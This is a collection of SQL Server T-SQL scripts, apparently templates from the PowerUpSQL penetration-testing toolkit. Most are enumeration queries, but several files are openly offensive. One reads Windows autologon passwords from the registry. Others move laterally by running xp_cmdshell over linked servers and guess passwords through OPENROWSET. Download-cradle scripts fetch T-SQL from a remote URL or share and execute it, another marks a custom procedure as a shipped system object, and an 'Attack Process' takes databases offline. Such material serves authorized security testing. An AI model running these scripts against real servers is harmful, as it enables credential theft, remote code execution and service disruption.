13 | DECLARE @WriterLogin VARCHAR(100)
14 | DECLARE @AnalysisLogin VARCHAR(100)
15 | DECLARE @ReportLogin VARCHAR(100)
16 | DECLARE @IntegrationDtsLogin VARCHAR(100)
17 |
18 | -- Get Service Paths for default and name instance
19 | if @@SERVICENAME = 'MSSQLSERVER' or @@SERVICENAME = HOST_NAME()
20 | BEGIN
21 | -- Default instance paths
22 | set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER'
23 | set @MSOLAPInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLServerOLAPService'
24 | set @ReportInstance = 'SYSTEM\CurrentControlSet\Services\ReportServer'
25 | set @AgentInstance = 'SYSTEM\CurrentControlSet\Services\SQLSERVERAGENT'
26 | set @IntegrationVersion = 'SYSTEM\CurrentControlSet\Services\MsDtsServer'+ SUBSTRING(CAST(SERVERPROPERTY('productversion') AS VARCHAR(255)),0, 3) + '0'
27 | END
28 | ELSE
29 | BEGIN
30 | -- Named instance paths
31 | set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$' + cast(@@SERVICENAME as varchar(250))
32 | set @MSOLAPInstance = 'SYSTEM\CurrentControlSet\Services\MSOLAP$' + cast(@@SERVICENAME as varchar(250))
33 | set @ReportInstance = 'SYSTEM\CurrentControlSet\Services\ReportServer$' + cast(@@SERVICENAME as varchar(250))
34 | set @AgentInstance = 'SYSTEM\CurrentControlSet\Services\SQLAgent$' + cast(@@SERVICENAME as varchar(250))
35 | set @IntegrationVersion = 'SYSTEM\CurrentControlSet\Services\MsDtsServer'+ SUBSTRING(CAST(SERVERPROPERTY('productversion') AS VARCHAR(255)),0, 3) + '0'
36 | END
37 |
38 | -- Get SQL Server - Calculated
39 | EXECUTE master.dbo.xp_instance_regread
40 | N'HKEY_LOCAL_MACHINE', @SQLServerInstance,
41 | N'ObjectName',@DBEngineLogin OUTPUT
42 |
43 | -- Get SQL Server Agent - Calculated
44 | EXECUTE master.dbo.xp_instance_regread
45 | N'HKEY_LOCAL_MACHINE', @AgentInstance,
46 | N'ObjectName',@AgentLogin OUTPUT
47 |
48 | -- Get SQL Server Browser - Static Location
49 | EXECUTE master.dbo.xp_instance_regread
50 | @rootkey = N'HKEY_LOCAL_MACHINE',
51 | @key = N'SYSTEM\CurrentControlSet\Services\SQLBrowser',
52 | @value_name = N'ObjectName',
53 | @value = @BrowserLogin OUTPUT
54 |
55 | -- Get SQL Server Writer - Static Location
56 | EXECUTE master.dbo.xp_instance_regread
57 | @rootkey = N'HKEY_LOCAL_MACHINE',
58 | @key = N'SYSTEM\CurrentControlSet\Services\SQLWriter',
59 | @value_name = N'ObjectName',
60 | @value = @WriterLogin OUTPUT
61 |
62 | -- Get MSOLAP - Calculated
63 | EXECUTE master.dbo.xp_instance_regread
64 | N'HKEY_LOCAL_MACHINE', @MSOLAPInstance,
65 | N'ObjectName',@AnalysisLogin OUTPUT
66 |
67 | -- Get Reporting - Calculated
68 | EXECUTE master.dbo.xp_instance_regread
69 | N'HKEY_LOCAL_MACHINE', @ReportInstance,
70 | N'ObjectName',@ReportLogin OUTPUT
71 |
72 | -- Get SQL Server DTS Server / Analysis - Calulated
73 | EXECUTE master.dbo.xp_instance_regread
74 | N'HKEY_LOCAL_MACHINE', @IntegrationVersion,
75 | N'ObjectName',@IntegrationDtsLogin OUTPUT
76 |
77 | -- Dislpay results
78 | SELECT [DBEngineLogin] = @DBEngineLogin,
79 | [BrowserLogin] = @BrowserLogin,
80 | [AgentLogin] = @AgentLogin,
81 | [WriterLogin] = @WriterLogin,
82 | [AnalysisLogin] = @AnalysisLogin,
83 | [ReportLogin] = @ReportLogin,
84 | [IntegrationLogin] = @IntegrationDtsLogin
85 | GO
86 |
87 |
--------------------------------------------------------------------------------
/templates/tsql/Get-Session.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-Session.sql
2 | -- Description: Get current login sessions.
3 | -- Reference: https://msdn.microsoft.com/en-us/library/ms176013.aspx
4 |
5 | SELECT
6 | status,
7 | session_id,
8 | login_time,
9 | last_request_start_time,
10 | security_id,
11 | login_name,
12 | original_login_name
13 | FROM [sys].[dm_exec_sessions]
14 | ORDER BY status
--------------------------------------------------------------------------------
/templates/tsql/Get-SqlLogin2PrincipalID.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-SqlLogin2PrincipalId.sql
2 | -- Description: Example showing how to get the principal id for a
3 | -- for a give sql server login.
4 | -- Reference: https://msdn.microsoft.com/en-us/library/ms179889.aspx
5 |
6 | SELECT SUSER_NAME(1)
7 | SELECT SUSER_NAME(2)
8 | SELECT SUSER_NAME(3)
9 | SELECT SUSER_NAME(4)
10 | SELECT SUSER_NAME(5)
11 |
--------------------------------------------------------------------------------
/templates/tsql/Get-Table.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-Table.sql
2 | -- Description: Returns a list of tables for the current database.
3 | -- Reference: https://msdn.microsoft.com/en-us/library/ms186224.aspx
4 |
5 | SELECT
6 | @@SERVERNAME AS [INSTANCE_NAME],
7 | t.TABLE_CATALOG AS [DATABASE_NAME],
8 | t.TABLE_SCHEMA AS [SCHEMA_NAME],
9 | t.TABLE_NAME,
10 | CASE
11 | WHEN (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable'
12 | WHEN t.TABLE_NAME LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable'
13 | WHEN t.TABLE_NAME NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable'
14 | ELSE t.TABLE_TYPE
15 | END AS Table_Type,
16 | st.is_ms_shipped,
17 | st.is_published,
18 | st.is_schema_published,
19 | st.create_date,
20 | st.modify_date AS modified_date
21 | FROM [INFORMATION_SCHEMA].[TABLES] t
22 | JOIN sys.tables st ON t.TABLE_NAME = st.name AND t.TABLE_SCHEMA = OBJECT_SCHEMA_NAME(st.object_id)
23 | JOIN sys.objects s ON st.object_id = s.object_id
24 | LEFT JOIN sys.extended_properties ep ON s.object_id = ep.major_id
25 | AND ep.minor_id = 0
26 | ORDER BY t.TABLE_CATALOG, t.TABLE_SCHEMA, t.TABLE_NAME;
27 |
--------------------------------------------------------------------------------
/templates/tsql/Get-TablePriv.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-TablePriv.sql
2 | -- Description: Returns a list of explicit table privileges for the
3 | -- current database.
4 | -- Reference: https://msdn.microsoft.com/en-us/library/ms186233.aspx
5 |
6 | SELECT GRANTOR,
7 | GRANTEE,
8 | TABLE_CATALOG AS [DATABASE_NAME],
9 | TABLE_SCHEMA AS [SCHEMA_NAME],
10 | TABLE_NAME,
11 | PRIVILEGE_TYPE,
12 | IS_GRANTABLE
13 | FROM [INFORMATION_SCHEMA].[TABLE_PRIVILEGES]
--------------------------------------------------------------------------------
/templates/tsql/Get-TempObject.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-TempObject.sql
2 | -- Description: Return list of object in the tempdb database.
3 | -- Reference: https://technet.microsoft.com/en-us/library/ms186986%28v=sql.105%29.aspx
4 |
5 | SELECT * FROM [tempdb].[sys].[objects]
--------------------------------------------------------------------------------
/templates/tsql/Get-TempTableColumns.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-TempTableColumns.sql
2 | -- Author: Scott Sutherland
3 | -- Description: Return a list of all temp table types.
4 | -- Include table variables, local temp tables, and global temp tables.
5 |
6 | SELECT 'tempdb' as 'Database_Name',
7 | SCHEMA_NAME(t1.schema_id) AS 'Schema_Name',
8 | t1.name AS 'Table_Name',
9 | t2.name AS 'Column_Name',
10 | t3.name AS 'Column_Type',
11 | CASE
12 | WHEN (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable'
13 | WHEN t1.name LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable'
14 | WHEN t1.name NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable'
15 | ELSE NULL
16 | END AS Table_Type,
17 | t1.is_ms_shipped,
18 | t1.is_published,
19 | t1.is_schema_published,
20 | t1.create_date,
21 | t1.modify_date
22 | FROM [tempdb].[sys].[objects] AS t1
23 | JOIN [tempdb].[sys].[columns] AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID
24 | JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id
25 | WHERE t1.name LIKE '#%'
26 |
--------------------------------------------------------------------------------
/templates/tsql/Get-TriggerDDL.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-TriggerDDL.sql
2 | -- Description: Return list of DDL triggers at the server level.
3 | -- This must be run with the master database select to get the trigger definition.
4 |
5 | SELECT name,
6 | OBJECT_DEFINITION(OBJECT_ID) as trigger_definition,
7 | parent_class_desc,
8 | create_date,
9 | modify_date,
10 | is_ms_shipped,
11 | is_disabled
12 | FROM sys.server_triggers
13 |
14 |
--------------------------------------------------------------------------------
/templates/tsql/Get-TriggerDML.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-TriggerDML.sql
2 | -- Return list of DML triggers at the database level for the current database.
3 |
4 | SELECT @@SERVERNAME as server_name,
5 | (SELECT TOP 1 SCHEMA_NAME(schema_id)FROM sys.objects WHERE type ='tr' and object_id like object_id ) as schema_id ,
6 | DB_NAME() as database_name,
7 | OBJECT_NAME(parent_id) as parent_name,
8 | OBJECT_NAME(object_id) as trigger_name,
9 | OBJECT_DEFINITION(object_id) as trigger_definition,
10 | OBJECT_ID,
11 | create_date,
12 | modify_date,
13 | CASE OBJECTPROPERTY(object_id, 'ExecIsTriggerDisabled')
14 | WHEN 1 THEN 'Disabled'
15 | ELSE 'Enabled'
16 | END AS status,
17 | OBJECTPROPERTY(object_id, 'ExecIsUpdateTrigger') AS isupdate ,
18 | OBJECTPROPERTY(object_id, 'ExecIsDeleteTrigger') AS isdelete ,
19 | OBJECTPROPERTY(object_id, 'ExecIsInsertTrigger') AS isinsert ,
20 | OBJECTPROPERTY(object_id, 'ExecIsAfterTrigger') AS isafter ,
21 | OBJECTPROPERTY(object_id, 'ExecIsInsteadOfTrigger') AS isinsteadof ,
22 | is_ms_shipped,
23 | is_not_for_replication
24 | FROM sys.triggers
25 |
26 |
27 |
--------------------------------------------------------------------------------
/templates/tsql/Get-TriggerEventType.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-TriggerEventType.sql
2 | -- Requirements: Sysadmin or required SELECT privileges.
3 | -- Description: Returns trigger event types.
4 | -- Reference: https://msdn.microsoft.com/en-us/library/bb522542.aspx
5 |
6 | SELECT *
7 | FROM sys.trigger_event_types
8 | ORDER BY TYPE_NAME
9 |
--------------------------------------------------------------------------------
/templates/tsql/Get-TriggerEventTypes.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-TriggerEventTypes.sql
2 | -- Requirements: Sysadmin or required SELECT privileges.
3 | -- Description: Returns DDL event trigger types.
4 | -- Reference: https://msdn.microsoft.com/en-us/library/bb510452.aspx
5 | -- Reference: https://msdn.microsoft.com/en-us/library/bb522542.aspx
6 | -- REference: https://msdn.microsoft.com/en-us/library/bb510453.aspx
7 |
8 | SELECT * FROM sys.trigger_event_types
9 |
--------------------------------------------------------------------------------
/templates/tsql/Get-Version.sql:
--------------------------------------------------------------------------------
1 | -- Description: Return SQL Server and OS version information.
2 | -- Reference: https://msdn.microsoft.com/en-us/library/ms174396.aspx
3 |
4 | -- Get machine type
5 | DECLARE @MachineType SYSNAME
6 | EXECUTE master.dbo.xp_regread
7 | @rootkey = N'HKEY_LOCAL_MACHINE',
8 | @key = N'SYSTEM\CurrentControlSet\Control\ProductOptions',
9 | @value_name = N'ProductType',
10 | @value = @MachineType output
11 |
12 | -- Get listening port
13 | Declare @PortNumber varchar(20)
14 | EXECUTE master..xp_regread
15 | @rootkey = 'HKEY_LOCAL_MACHINE',
16 | @key = 'SOFTWARE\MICROSOFT\MSSQLServer\MSSQLServer\Supersocketnetlib\TCP',
17 | @value_name = 'Tcpport',
18 | @value = @PortNumber OUTPUT
19 |
20 | -- Return server and version information
21 | SELECT @@servername AS [SERVER_INSTANCE],
22 | @PortNumber AS [TCP_PORT],
23 | DEFAULT_DOMAIN() AS [DEFAULT_DOMAIN],
24 | SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4) AS [MAJOR_VERSION],
25 | serverproperty('Edition') AS [VERSION_EDITION],
26 | SERVERPROPERTY('ProductLevel') AS [PRODUCT_LEVEL],
27 | SERVERPROPERTY('productversion') AS [VERSION_NUMBER],
28 | SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3) AS [ARCHITECTURE],
29 | @MachineType as [OS_MACHINE_TYPE],
30 | RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows NT', @@VERSION), 14), 3) AS [OS_VERSION_NUMBER]
--------------------------------------------------------------------------------
/templates/tsql/Get-View.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-View.sql
2 | -- Description: This script returns a list of view
3 | -- from the current database.
4 | -- Reference: https://msdn.microsoft.com/en-us/library/ms186778.aspx
5 |
6 | SELECT TABLE_CATALOG AS [DATABASE_NAME],
7 | TABLE_SCHEMA AS [SCHEMA_NAME],
8 | TABLE_NAME,
9 | VIEW_DEFINITION,
10 | IS_UPDATABLE
11 | FROM [INFORMATION_SCHEMA].[VIEWS]
12 | ORDER BY DATABASE_NAME,SCHEMA_NAME,TABLE_NAME
--------------------------------------------------------------------------------
/templates/tsql/Get-WinAccount2SID.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-WinAccount2SID.sql
2 | -- Description: Example showing how to get the SID of
3 | -- of a supplied domain user or group. Note that the SID is hex encoded.
4 | -- Reference: https://msdn.microsoft.com/en-us/library/ms179889.aspx
5 |
6 | DECLARE @DOMAIN_ADMINISTRATOR varchar(100)
7 | DECLARE @CMD varchar(100)
8 | SET @DOMAIN_ADMINISTRATOR = default_domain() + '\Domain Admins'
9 | SET @CMD = 'select SUSER_SID(''' + @DOMAIN_ADMINISTRATOR + ''')'
10 | EXEC(@CMD)
11 |
--------------------------------------------------------------------------------
/templates/tsql/Get-WinAutoRunPw.tsql:
--------------------------------------------------------------------------------
1 | -- Get the Windows auto login credentials through SQL Server using xp_regread
2 | -- Requirements
3 | -- 2014 or later = sysadmin
4 | -- 2000 to 2012 = public role with execute privs on xp_regread (default)
5 |
6 | -------------------------------------------------------------------------
7 | -- Get Windows Auto Login Credentials from the Registry
8 | -------------------------------------------------------------------------
9 |
10 | -- Get AutoLogin Default Domain
11 | DECLARE @AutoLoginDomain SYSNAME
12 | EXECUTE master.dbo.xp_regread
13 | @rootkey = N'HKEY_LOCAL_MACHINE',
14 | @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
15 | @value_name = N'DefaultDomainName',
16 | @value = @AutoLoginDomain output
17 |
18 | -- Get AutoLogin DefaultUsername
19 | DECLARE @AutoLoginUser SYSNAME
20 | EXECUTE master.dbo.xp_regread
21 | @rootkey = N'HKEY_LOCAL_MACHINE',
22 | @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
23 | @value_name = N'DefaultUserName',
24 | @value = @AutoLoginUser output
25 |
26 | -- Get AutoLogin DefaultUsername
27 | DECLARE @AutoLoginPassword SYSNAME
28 | EXECUTE master.dbo.xp_regread
29 | @rootkey = N'HKEY_LOCAL_MACHINE',
30 | @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
31 | @value_name = N'DefaultPassword',
32 | @value = @AutoLoginPassword output
33 |
34 | -- Display Results
35 | SELECT @AutoLoginDomain, @AutoLoginUser, @AutoLoginPassword
36 |
37 | -------------------------------------------------------------------------
38 | -- Get Alternative Windows Auto Login Credentials from the Registry
39 | -------------------------------------------------------------------------
40 |
41 | -- Get Alt AutoLogin Default Domain
42 | DECLARE @AltAutoLoginDomain SYSNAME
43 | EXECUTE master.dbo.xp_regread
44 | @rootkey = N'HKEY_LOCAL_MACHINE',
45 | @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
46 | @value_name = N'AltDefaultDomainName',
47 | @value = @AltAutoLoginDomain output
48 |
49 | -- Get Alt AutoLogin DefaultUsername
50 | DECLARE @AltAutoLoginUser SYSNAME
51 | EXECUTE master.dbo.xp_regread
52 | @rootkey = N'HKEY_LOCAL_MACHINE',
53 | @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
54 | @value_name = N'AltDefaultUserName',
55 | @value = @AltAutoLoginUser output
56 |
57 | -- Get Alt AutoLogin DefaultUsername
58 | DECLARE @AltAutoLoginPassword SYSNAME
59 | EXECUTE master.dbo.xp_regread
60 | @rootkey = N'HKEY_LOCAL_MACHINE',
61 | @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
62 | @value_name = N'AltDefaultPassword',
63 | @value = @AltAutoLoginPassword output
64 |
65 | -- Display Results
66 | SELECT @AltAutoLoginDomain, @AltAutoLoginUser, @AltAutoLoginPassword
67 |
--------------------------------------------------------------------------------
/templates/tsql/Lateral-Movement-Existing-Links.sql:
--------------------------------------------------------------------------------
1 |
2 | -- List linked servers
3 | sp_linkeservers
4 | SELECT srvname FROM master..sysservers
5 |
6 | -- Query an existing link using multipart name
7 | select name FROM [linkedserver].master.sys.databases
8 |
9 | -- Query an existing link using openquery
10 | SELECT version FROM openquery("linkedserver", 'select @@version as version');
11 | SELECT * FROM openquery(Server1, 'select @@servername')
12 | SELECT * FROM openquery(Server1, 'select SYSTEM_USER')
13 | SELECT * FROM OPENQUERY("server1",'SELECT is_srvrolemember(''sysadmin'')')
14 | SELECT * FROM OPENQUERY("server1",'SELECT srvname FROM master..sysservers')
15 |
16 | -- Query a nested link
17 | -- Note: double number of ' with each nesting
18 | select version from openquery("link1",'select version from openquery("link2",''select @@version as version'')')
19 |
20 | -- Execute xp_cmdshell through a link
21 | select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell ''dir c:''')
22 |
23 | -- If needed, enabled xp_cmdshell on link (requires link to be configured with sysadmin)
24 | EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
25 |
--------------------------------------------------------------------------------
/templates/tsql/Lateral-Movement-OpenDataSourceBF.tsql:
--------------------------------------------------------------------------------
1 | -- https://msdn.microsoft.com/en-us/library/ms179856.aspx
2 | -- This could potentially be used for a dictionary attack inline
3 | -- Note: This format also supports the four part naming.
4 | SELECT * FROM OPENDATASOURCE('SQLNCLI', 'Server=MSSQLSRV04\SQLSERVER2016;Trusted_Connection=yes;').master.dbo.sysdatabases
5 | SELECT * FROM OPENDATASOURCE('SQLNCLI', 'Server=MSSQLSRV04\SQLSERVER2016;uid=test;password=test').master.dbo.sysdatabases
6 |
7 | -- You can also provide SQL Login creds if you want. It can potentially be used for password guessing.
8 | select * FROM OpenDataSource('SQLOLEDB','Data Source=PFCDB05;User ID=pfcnormal;Password=pfcnormal').mydatabse.dbo.[MyTable]
9 |
--------------------------------------------------------------------------------
/templates/tsql/Lateral-Movement-OpenRowSetBF.tsql:
--------------------------------------------------------------------------------
1 | -- You can also provide SQL Login cred if you want. It can potentially be used for password guessing.
2 | SELECT * FROM OPENROWSET('SQLOLEDB', 'Network=DBMSSOCN; Address=10.0.2.2;uid=foo; pwd=password', 'SELECT column1 FROM tableA')
3 |
--------------------------------------------------------------------------------
/templates/tsql/Lateral-Movement-Shared-Svc-Account-OpenRowSet.tsql:
--------------------------------------------------------------------------------
1 | -- Enable advanced options
2 | EXEC sp_configure 'show advanced options', 1
3 | RECONFIGURE
4 | GO
5 |
6 | -- Enabled ad hoc queries
7 | EXEC sp_configure 'ad hoc distributed queries', 1
8 | RECONFIGURE
9 | GO
10 |
11 | -- Execute SQL query on a remote SQL Server as a sysadmin. This uses the SQL Server service account to authenticate to the remote SQL Server instance.
12 | DECLARE @sql NVARCHAR(MAX)
13 | set @sql = 'select a.* from openrowset(''SQLNCLI'', ''Server=SQLSERVER2;Trusted_Connection=yes;'', ''select * from master.dbo.sysdatabases'') as a'
14 | select @sql
15 | EXEC sp_executeSQL @sql
16 |
--------------------------------------------------------------------------------
/templates/tsql/Lateral-Movement-Shared-Svc-Account-XpCmdShell.tsql:
--------------------------------------------------------------------------------
1 | -- Enable advanced options
2 | EXEC sp_configure 'show advanced options', 1
3 | RECONFIGURE
4 | GO
5 |
6 | -- Enabled xp_cmdshell
7 | EXEC sp_configure 'xp_cmdshell', 1
8 | RECONFIGURE
9 | GO
10 |
11 | -- Execute SQL query on a remote SQL Server as a sysadmin. This uses the SQL Server service account to authenticate to the remote SQL Server instance.
12 | xp_cmdshell 'sqlcmd –E –S SQLServer2\Instance2 –Q "SELECT @@servername"'
13 |
--------------------------------------------------------------------------------
/templates/tsql/New-TempTableSample.sql:
--------------------------------------------------------------------------------
1 | -- Create sample table variables and local/global temp tables
2 |
3 | -- Create global temporary table
4 | IF (OBJECT_ID('tempdb..##GlobalTempTbl') IS NULL)
5 | CREATE TABLE ##GlobalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL);
6 |
7 | -- Insert records global temporary table
8 | INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson')
9 | INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise')
10 | INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie')
11 | INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery')
12 | GO
13 |
14 | -- Query global temporary table
15 | SELECT *
16 | FROM ##GlobalTempTbl
17 | GO
18 |
19 | -- Create local temporary table
20 | IF (OBJECT_ID('tempdb..#LocalTempTbl') IS NULL)
21 | CREATE TABLE #LocalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL);
22 | -- Insert records local temporary table
23 | INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson')
24 | INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise')
25 | INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie')
26 | INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery')
27 | GO
28 | -- Query local temporary table
29 | SELECT *
30 | FROM #LocalTempTbl
31 | GO
32 |
33 | -- Create table variable
34 | If not Exists (SELECT name FROM tempdb.sys.objects WHERE name = 'table_variable')
35 | DECLARE @table_variable TABLE (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL);
36 |
37 | -- Insert records into table variable
38 | INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson')
39 | INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise')
40 | INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie')
41 | INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery')
42 |
43 | -- Query table variable in same batch
44 | SELECT *
45 | FROM @table_variable
46 | GO
47 |
--------------------------------------------------------------------------------
/templates/tsql/Set-XpMsShipped.sql:
--------------------------------------------------------------------------------
1 | -- This outlines how to set the "is_ms_shipped" flag to one for custom stored procedures in SQL Server.
2 | -- Note: The following has to be executed as a sysadmin
3 |
4 | -- Create stored procedure
5 | CREATE PROCEDURE sp_example
6 | AS
7 | BEGIN
8 | SELECT @@Version
9 | END
10 |
11 | -- Check properties of proc
12 | SELECT name,is_ms_shipped FROM sys.procedures WHERE name = 'sp_example'
13 |
14 | -- Flag the procedure as a system object via a DAC connection via
15 | -- Reference for incline DAC connection: https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/Get-DACQuery.sql
16 |
17 | -- Note: This changes the proc to a system object, but doesn't change from the dbo to sys schema.
18 | -- Source: https://raresql.com/tag/sp_ms_marksystemobject/
19 |
20 | exec sys.sp_ms_marksystemobject sp_example
21 |
22 | -- Check properties of proc
23 | SELECT name,is_ms_shipped FROM sys.procedures WHERE name = 'sp_example'
24 |
25 | --Note: To remove the flag the procedures need to be dropped and recreated.
26 |
--------------------------------------------------------------------------------
/templates/tsql/download_cradle_tsql_bulkinserver.sql:
--------------------------------------------------------------------------------
1 | -- Bulnk Insert - Download Cradle Example
2 |
3 | -- Setup variables
4 | Declare @cmd varchar(8000)
5 |
6 | -- Create temp table
7 | CREATE TABLE #file (content nvarchar(4000));
8 |
9 | -- Read file into temp table - web server must support propfind
10 | BULK INSERT #file FROM '\\sharepoint.acme.com@SSL\Path\to\file.txt';
11 |
12 | -- Select contents of file
13 | SELECT @cmd = content FROM #file
14 |
15 | -- Display command
16 | SELECT @cmd
17 |
18 | -- Run command
19 | EXECUTE(@cmd)
20 |
21 | -- Drop the temp table
22 | DROP TABLE #file
23 |
--------------------------------------------------------------------------------
/templates/tsql/download_cradle_tsql_oap.sql:
--------------------------------------------------------------------------------
1 | -- OLE Automation Procedure - Download Cradle Example
2 | -- Does not require a table, but can't handle larger payloads
3 |
4 | -- Note: This also works with unc paths \\ip\file.txt
5 | -- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind.
6 |
7 | -- Setup Variables
8 | DECLARE @url varchar(300)
9 | DECLARE @WinHTTP int
10 | DECLARE @handle int
11 | DECLARE @Command varchar(8000)
12 |
13 | -- Set target url containting TSQL
14 | SET @url = 'http://127.0.0.1/mycmd.txt'
15 |
16 | -- Setup namespace
17 | EXEC @handle=sp_OACreate 'WinHttp.WinHttpRequest.5.1',@WinHTTP OUT
18 |
19 | -- Call the Open method to setup the HTTP request
20 | EXEC @handle=sp_OAMethod @WinHTTP, 'Open',NULL,'GET',@url,'false'
21 |
22 | -- Call the Send method to send the HTTP GET request
23 | EXEC @handle=sp_OAMethod @WinHTTP,'Send'
24 |
25 | -- Capture the HTTP response content
26 | EXEC @handle=sp_OAGetProperty @WinHTTP,'ResponseText', @Command out
27 |
28 | -- Destroy the object
29 | EXEC @handle=sp_OADestroy @WinHTTP
30 |
31 | -- Display command
32 | SELECT @Command
33 |
34 | -- Run command
35 | EXECUTE (@Command)
36 |
--------------------------------------------------------------------------------
/templates/tsql/download_cradle_tsql_oap2.sql:
--------------------------------------------------------------------------------
1 | -- OLE Automation Procedure - Download Cradle Example - Option 2
2 | -- Can handle larger payloads, but requires a table
3 |
4 | -- Note: This also works with unc paths \\ip\file.txt
5 | -- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind.
6 |
7 | -- Setup Variables
8 | DECLARE @url varchar(300)
9 | DECLARE @WinHTTP int
10 | DECLARE @Handle int
11 | DECLARE @Command varchar(8000)
12 |
13 | -- Set target url containting TSQL
14 | SET @url = 'http://127.0.0.1/mycmd.txt'
15 |
16 | -- Create temp table to store downloaded string
17 | CREATE TABLE #text(html text NULL)
18 |
19 | -- Setup namespace
20 | EXEC @Handle=sp_OACreate 'WinHttp.WinHttpRequest.5.1',@WinHTTP OUT
21 |
22 | -- Call open method to configure HTTP request
23 | EXEC @Handle=sp_OAMethod @WinHTTP, 'Open',NULL,'GET',@url,'false'
24 |
25 | -- Call Send method to send the HTTP request
26 | EXEC @Handle=sp_OAMethod @WinHTTP,'Send'
27 |
28 | -- Capture the HTTP response content
29 | INSERT #text(html)
30 | EXEC @Handle=sp_OAGetProperty @WinHTTP,'ResponseText'
31 |
32 | -- Destroy the object
33 | EXEC @Handle=sp_OADestroy @WinHTTP
34 |
35 | -- Display the commad
36 | SELECT @Command = html from #text
37 | SELECT @Command
38 |
39 | -- Run the command
40 | EXECUTE (@Command)
41 |
42 | -- Remove temp table
43 | DROP TABLE #text
44 |
--------------------------------------------------------------------------------
/templates/tsql/kick-sqllogins.tsql:
--------------------------------------------------------------------------------
1 | -- This script can be use to kick existing users from a database.
2 | -- Not recommended if you don't know what you're doing, and is generally a super bad idea if you're not a DBA.
3 | -- Source: https://dba.stackexchange.com/questions/6031/how-do-you-kick-users-out-of-a-sql-server-2008-database
4 |
5 | ---------------------
6 | -- Attack Process
7 | ---------------------
8 |
9 | -- Select the master database
10 | USE master;
11 | GO
12 |
13 | -- Place the target database into single user mode (kick out other logins)
14 | -- Change [dbname] to desire database name
15 | ALTER DATABASE [dbname] SET SINGLE_USER WITH ROLLBACK IMMEDIATE;
16 | GO
17 |
18 | -- Take the database offline (prevent sessions from re-establishing connection)
19 | -- Change [dbname] to desire database name
20 | -- Note: You dont want to do this if you need access to that database.
21 |
22 | ALTER DATABASE [dbname] SET OFFLINE;
23 |
24 | ---------------------
25 | -- Restore Process
26 | ---------------------
27 |
28 | -- Bring database back online
29 | -- Change [dbname] to desire database name
30 | -- Note: This should only be required if the database was taken offline
31 | ALTER DATABASE [dbname] SET ONLINE;
32 |
33 | -- Enable multi user mode
34 | -- Change [dbname] to desire database name
35 | ALTER DATABASE [dbname] SET MULTI_USER;
